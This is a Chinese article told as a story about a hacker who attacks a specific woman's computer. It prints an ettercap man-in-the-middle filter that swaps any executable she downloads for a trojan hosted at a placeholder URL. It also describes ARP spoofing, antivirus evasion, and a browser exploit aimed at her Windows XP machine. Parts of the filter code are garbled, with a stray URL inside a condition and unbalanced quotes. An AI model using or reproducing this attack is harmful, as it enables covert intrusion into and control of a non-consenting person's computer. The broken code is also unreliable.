![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/aba7f1f34d95615ced20525551e30bdc.jpg)
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/eeed5c74e922e969c716358102895e75.png)
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/252538e4715418c7e3c8c39bd645f511.jpg)
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/3cac3ac225360f33c498c165687320ca.jpg)
Only打开了ettercap准备进行中间人攻击
首先新建一个规则
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# replace rmccurdy with
your website
# replace the url with what ever exe you like
if
(ip.proto == TCP && tcp.dst == 80) {
if
(search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding",
"Accept-Rubbish!");
#
note: replacement string is same length as original
string
msg("zapped
Accept-Encoding!\n");
}
}
if (ip.proto == TCP &&
tcp.src =http://www.netofthings.cn/JieJueFangAn/2016-04/= 80) {
replace("keep-alive", "close"
");
replace("Keep-Alive", "close" ");
}
if (ip.proto == TCP
&& search(DATA.data, ": application") ){
# enable for logging
log(DECODED.data, "/tmp/log.log");
msg("found EXE\n");
# "Win32" is the
first part of the exe example:
# if the EXE started with "this program must
be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data,
"Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301
Moved Permanently
Location:
http://www.xxx.com/exe.exe
");
msg("redirect
success\n");
}
}
然后改掉里面的下载地址
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/653a2b61885e786a4ee73e341d082401.png)
之后编译下
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/18a9e03f3f3617709bd4459d50cbfda1.jpg)
然后进行欺骗
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/ebeeaa518da2e136370a19cb7a66817c.jpg)
当妹纸不管下载什么东西的时候都会替换成我们的木马进行下载她运行后我们就可以获取权限了(当然木马首先得是免杀)
类似这样
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/2ee2ccc63c46752e1acacb37fbf64765.png)
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/12a242dfb72a7474df4c75d36f3aa1c5.png)
所以当妹子下载什么的时候运行了我们的程序,就会中招。
同时Only还用了另一种方法来进行攻击(怕妹子不上当)
因为前面得知妹子用的是XP所以Only生成了对IE浏览器攻击的网马
![姿势学习:屌丝黑客”追”妹记-安全盒子](/d/file/news/Internet_of_things/technical/2017-07/3815216edb15ccc9ecddca2928dba74e.jpg)